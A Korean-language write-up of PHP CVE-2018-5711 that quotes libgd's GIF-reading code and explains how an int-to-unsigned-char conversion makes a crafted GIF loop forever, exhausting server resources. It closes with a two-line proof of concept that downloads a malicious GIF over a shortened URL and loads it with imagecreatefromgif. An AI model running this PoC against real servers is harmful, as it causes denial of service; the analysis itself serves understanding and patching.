PHP CVE-2018-5711
잘못된 형 변환으로 발생된 PHP 취약점에 대해 알아보자.
영향 버전
- PHP 5 < 5.6.33
- PHP 7.0 < 7.0.27
- PHP 7.1 < 7.1.13
- PHP 7.2 < 7.2.1
취약 소스 파일
php-src 소스 저장소 - LWZReadByte_함수 내 취약점 발생 위치
do {
sd->firstcode = sd->oldcode =
GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
} while (sd->firstcode == sd->clear_code);
return sd->firstcode;
GetCode
함수는 래퍼 함수로 실제 작업은 GetCode_
함수에서 수행한다.
static int
GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
{
int i, j, ret;
unsigned char count;
...
if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
scd->done = TRUE;
...
}
GIF에서 데이터를 읽기 위해서 GetCode_
함수에서 GetDataBlock
함수를 호출한다.
static int
GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
{
unsigned char count;
if (! ReadOK(fd,&count,1)) {
return -1;
}
*ZeroDataBlockP = count == 0;
if ((count != 0) && (! ReadOK(fd, buf, count))) {
return -1;
}
return count;
}
int
에서 unsigned char
로의 형 변환에서 버그가 발생한다. GetDataBlock_
함수가 -1을 반환하면 scd-> done
이 True
로 설정되고 while 루프를 중지한다. 하지만 count
는 unsigned char
형이기 때문에 이는 절대 실행될 수 없다. (항상 0 ~ 255의 양수를 가진다.)
결과적으로 하나의 단일 GIF가 무한 루프를 만들어 서버 리소스를 모두 소모할 수 있다.
POC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'